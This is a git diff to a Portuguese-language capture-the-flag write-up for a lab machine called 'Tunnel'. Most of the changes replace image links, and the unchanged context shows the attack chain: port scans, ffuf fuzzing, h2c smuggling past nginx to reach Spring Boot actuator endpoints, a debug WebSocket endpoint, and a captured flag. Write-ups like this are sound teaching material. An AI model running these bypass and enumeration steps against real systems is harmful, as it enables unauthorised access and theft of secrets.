@@ -17,13 +17,12 @@ comments: true
1717
1818### 1.1 Scan de portas
1919
20- ![ Nmap Port Scan ] ( tunnel/portscanNmap.png )
20+ < img width = " 800 " alt = " image " src = " https://github.com/user-attachments/assets/47dffbac-2eea-4c65-b6b7-f51d8582842b " />
2121
2222``` bash
2323nmap -sV 172.16.3.113
2424```
25-
26- ![ Port Scan Results] ( tunnel/portscan.png )
25+ <img width =" 800 " alt =" image " src =" https://github.com/user-attachments/assets/3f824288-3cf3-486d-b3c8-f9a9ce516e10 " />
2726
2827``` bash
2928rustscan -a 172.16.3.113
@@ -42,7 +41,7 @@ ffuf -c -u http://172.16.3.113:8000/FUZZ \
4241 -w ~ /SecLists/Discovery/Web-Content/raft-large-words.txt -t 150
4342```
4443
45- ![ Initial Fuzzing ] ( tunnel/ffuf-1.png )
44+ < img width = " 800 " alt = " image " src = " https://github.com/user-attachments/assets/bcbd33eb-7cc2-4fab-8487-f15b40896f62 " />
4645
4746** Descobertas importantes:**
4847
@@ -51,7 +50,7 @@ ffuf -c -u http://172.16.3.113:8000/FUZZ \
5150/actuator → 403 Forbidden
5251```
5352
54- ![ Error Page ] ( tunnel/error.png )
53+ < img width = " 800 " alt = " image " src = " https://github.com/user-attachments/assets/c0539110-3f00-4079-82d6-18a82da77a50 " />
5554
5655** Análise técnica:**
5756A presença de "* Whitelabel Error Page* " e o diretório "* actuator* " indica ** Spring Boot Framework** . Esta identificação nos permite usar wordlists específicas para enumerar endpoints do Spring Boot Actuator.
@@ -60,7 +59,7 @@ A presença de "*Whitelabel Error Page*" e o diretório "*actuator*" indica **Sp
6059
6160### 2.1 Wordlist especializada
6261
63- ![ Spring Boot Fuzzing ] ( tunnel/ffuf-2-springBoot.png )
62+ < img width = " 800 " alt = " image " src = " https://github.com/user-attachments/assets/a953fe73-eb8f-4604-88cd-0c11afac6b24 " />
6463
6564``` bash
6665ffuf -c -u http://172.16.3.113:8000/FUZZ \
@@ -127,7 +126,7 @@ cliente → nginx (HTTP/1.1 proxy) → backend (Spring Boot + h2c support)
127126 - Nginx não consegue mais inspecionar/filtrar requisições
128127 - Todas as regras de proxy_pass são ignoradas
129128
130- ![ H2C Smuggling Diagram ] ( tunnel/H2C-Smuggling-White.jpg )
129+ < img width = " 800 " alt = " image " src = " https://github.com/user-attachments/assets/1ab35a7c-a8c2-4924-a00b-7fc576e06535 " />
131130
132131### 4.4 Implicações de segurança do bypass
133132
@@ -168,7 +167,7 @@ source ~/.bashrc
168167
169168### 5.2 Testando vulnerabilidade
170169
171- ![ H2C Test ] ( tunnel/h2cTest.png )
170+ < img width = " 800 " alt = " image " src = " https://github.com/user-attachments/assets/5cab71a2-5ca7-4906-8373-effa398878f3 " />
172171
173172``` bash
174173h2csmuggler -x http://172.16.3.113:8000 --test
@@ -197,13 +196,13 @@ h2csmuggler -x http://172.16.3.113:8000 http://backend/actuator
197196h2csmuggler -x http://172.16.3.113:8000 http://backend/actuator/env
198197```
199198
200- ![ H2C Actuator Env ] ( tunnel/h2csm-act-env.png )
199+ < img width = " 800 " alt = " image " src = " https://github.com/user-attachments/assets/dd25fd9f-4122-4d15-9d60-81496f98a51a " />
201200
202201Se formos ao final do arquivo poderemos identificar o JSON que esperamos do /env
203202
204203## 6. Informações sensíveis encontradas no /actuator/env
205204
206- ![ H2C Actuator JSON ] ( tunnel/h2csm-act-env-JSON.png )
205+ < img width = " 800 " alt = " image " src = " https://github.com/user-attachments/assets/aba4d6c3-4061-4527-8219-5b175216c2c8 " />
207206
208207Ao analisar o JSON retornado do ` /env ` (utilizando um formatter para melhor legibilidade), identificamos:
209208
@@ -213,13 +212,13 @@ Ao analisar o JSON retornado do `/env` (utilizando um formatter para melhor legi
213212hackingclub{c71b3ebb3e25f3c8304d9010a1c3765742309a3f}
214213```
215214
216- ![ JSON Flag 1 ] ( tunnel/json-flag1.png )
215+ < img width = " 800 " alt = " image " src = " https://github.com/user-attachments/assets/c05b08ba-cc27-4adc-9fb2-f205fe80af69 " />
217216
218217### 6.1 Endpoints importantes descobertos
219218
220219Juntando o que encontramos anteriormente com esse json podemos identificar/mapear importantes pontos para exploração
221220
222- ![ Spring Boot Endpoints ] ( tunnel/ffuf-2-springBoot-HeapDump-Env.png )
221+ < img width = " 800 " height = " 699 " alt = " image " src = " https://github.com/user-attachments/assets/94b837cd-1b99-446c-bc3b-e3995206f6b8 " />
223222
224223** Endpoints mapeados:**
225224
@@ -235,7 +234,7 @@ Juntando o que encontramos anteriormente com esse json podemos identificar/mapea
235234/admin/internal-web-socket-endpoint
236235```
237236
238- ![ JSON Debug Path ] ( tunnel/json_beautifier_debug_path.png )
237+ < img width = " 800 " alt = " image " src = " https://github.com/user-attachments/assets/6d4ff368-01bd-44a9-a930-c6800edf0530 " />
239238
240239### 6.2 Chrome DevTools Protocol (CDP) - Contexto técnico
241240
@@ -277,7 +276,7 @@ GET http://172.16.3.113:8000/admin/internal-web-socket-endpoint/
277276WebSocket request was expected
278277```
279278
280- ![ WebSocket Expected ] ( tunnel/websocketExpectedAdmin.png )
279+ < img width = " 800 " alt = " image " src = " https://github.com/user-attachments/assets/804f407a-ad91-45d9-a59d-ebfaf4d86ed5 " />
281280
282281** Análise:**
283282
@@ -286,11 +285,11 @@ WebSocket request was expected
286285
287286### 7.2 Tentando conexão WebSocket
288287
289- ![ Postman 1 ] ( tunnel/postamn1.png )
288+ < img width = " 800 " alt = " image " src = " https://github.com/user-attachments/assets/814ab118-bb9c-494e-9ea3-37beadae9520 " />
290289
291- Utilizando o Postman para testar WebSocket:
290+ Utilizando o Postman para testar, vamos criar não apenas para WebSocket como também para HTTP :
292291
293- ![ Postman 2 ] ( tunnel/postman2.png )
292+ < img width = " 800 " alt = " image " src = " https://github.com/user-attachments/assets/ab46653e-c951-49eb-af92-f829429a53a3 " />
294293
295294** Testando WebSocket direto:**
296295
@@ -304,7 +303,7 @@ ws://172.16.3.113:8000/admin/internal-web-socket-endpoint/
304303Unexpected server response: 400
305304```
306305
307- ![ Postman WebSocket 1 ] ( tunnel/postman-ws1.png )
306+ < img width = " 800 " alt = " image " src = " https://github.com/user-attachments/assets/d1646138-3ed5-4d08-812d-a6fa3a577c14 " />
308307
309308** Conclusão:** Não é o WebSocket principal — falta descobrir o caminho correto.
310309
@@ -349,7 +348,7 @@ A URL do WebSocket debug usa a raiz + ID. Como estamos acessando via `/admin/int
349348ws://172.16.3.113:8000/admin/internal-web-socket-endpoint/7efa5220-45c7-44c2-b367-d9068de778bd
350349```
351350
352- ![ Postman JSON List ] ( tunnel/postman-http-json-list.png )
351+ < img width = " 800 " alt = " image " src = " https://github.com/user-attachments/assets/d47d4b67-07eb-4888-acef-3f69381a0b8a " />
353352
354353** ✅ Conexão WebSocket aceita com sucesso no Postman.**
355354
@@ -363,7 +362,7 @@ ws://172.16.3.113:8000/admin/internal-web-socket-endpoint/7efa5220-45c7-44c2-b36
363362{}
364363```
365364
366- ![ Postman WebSocket 3 ] ( tunnel/postman-ws3.png )
365+ < img width = " 800 " alt = " image " src = " https://github.com/user-attachments/assets/cd232c50-857d-4829-98e9-13b4f6232048 " />
367366
368367** Erros obtidos:**
369368
@@ -946,7 +945,8 @@ Este cenário demonstra uma **cadeia crítica** onde múltiplas vulnerabilidades
946945
947946-- -
948947
949- ! [Tunnel Machine](tunnel/ tunnel_machine_176 .png )
948+ < img width= " 800" alt= " image" src= " https://github.com/user-attachments/assets/31368014-08f4-4943-a1d6-521341f4c673" / >
949+
950950
951951** Flags capturadas: **
952952
@@ -960,3 +960,5 @@ Este cenário demonstra uma **cadeia crítica** onde múltiplas vulnerabilidades
960960- Chrome DevTools Protocol RCE
961961- Docker privilege escalation
962962- Host filesystem mounting
963+
964+ < img width= " 800" alt= " image" src= " https://github.com/user-attachments/assets/f0667214-3a4e-4ad9-b792-0d97287fb8ca" / >
0 commit comments